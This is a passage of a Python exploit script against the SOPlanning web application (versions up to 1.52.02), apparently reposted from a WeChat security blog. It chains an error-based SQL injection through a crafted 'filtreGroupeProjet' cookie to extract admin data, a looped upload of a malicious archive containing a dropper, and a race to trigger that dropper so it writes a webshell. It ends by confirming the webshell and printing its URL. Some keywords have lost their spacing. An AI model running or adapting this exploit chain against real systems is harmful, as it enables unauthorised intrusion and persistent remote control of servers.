sql_query += f"SELECT SUBSTR({column}, {start_of_substring}, {end_of_substring})"
sql_query += "FROM planning_user WHERE user_id='ADM'"
malicious_cookie = requests.cookies.create_cookie("filtreGroupeProjet",f"["') AND ExtractValue('',concat('=AAAA',({sql_query})))-- -'"]")
self.s.cookies.set_cookie(malicious_cookie)
r = self.s.post(
url=new_url,
allow_redirects=False,
verify=False,
proxies=PROXIES
)
if r.status_code != 200or r.text.find("Uncaught mysqli_sql_exception:") == -1:
if DEBUG:
print("[x] SQL injection failed.")
return0
if DEBUG > 1:
print("[*] SQL injection is a success.")
return extract(
r.text,
"'=AAAA",
"'"
)
# This function uploads a malicious archive containing a dropper.
defupload_archive(self):
print(f"[*] Start thread uploading malicious archive ...")
new_url = f"{self.url}www/process/upload_backup.php"
datas = {
"type": "upload",
"type_restauration": "sauvegarde"
}
files = {
"fichier-0": open(LOCAL_ARCHIVE_NAME, "rb")
}
while1:
r = self.s.post(
url=new_url,
data=datas,
files=files,
allow_redirects=False,
verify=False,
proxies=PROXIES
)
time.sleep(1)
# This function triggers the dropper execution and consequently writes the
# Webshell to the system.
deftrigger_dropper(self):
print(f"[*] Start thread triggering dropper ...")
new_url = f"{self.url}{REMOTE_FOLDER_PATH}{DROPPER_NAME}"
while1:
try:
r = requests.get(
url=new_url,
allow_redirects=False,
verify=False,
proxies=PROXIES,
timeout=0.2
)
except:
pass
# This function verifies that a Webshell has been written to the root of
# soplanning CMS.
defwebshell_check(self):
print(f"[*] Start thread checking for Webshell presence ...")
new_url = f"{self.url}{WEBSHELL_NAME}"
condition = 0
whilenot condition:
r = requests.get(
url=new_url,
allow_redirects=False,
verify=False,
proxies=PROXIES,
)
if r.status_code == 200and r.text.find(WEBSHELL_CHECK) != -1:
condition = 1
print("[+] Exploit succeed.")
print(f"[+] Webshell URL:nt- {new_url}")
os._exit(0)
defmain(options):
attack = Exploit(options["url"], options["username"], options["password"])
ifnot attack.run():
print("[x] Exploit failed.")
exit(-1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="soplanning <= v1.52.02 0day exploit.")
parser.add_argument("url", help="Target's URL.")
parser.add_argument("--username", help="Username for logging on to the Web interface.")
parser.add_argument("--password", help="Password for logging on to the Web interface.")
args = parser.parse_args()
options = {}
options["url"] = args.url
options["username"] = args.username
options["password"] = args.password
main(options)
原文始发于微信公众号(securitainment):一次性入侵所有系统并在各处横向移动 (第二部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论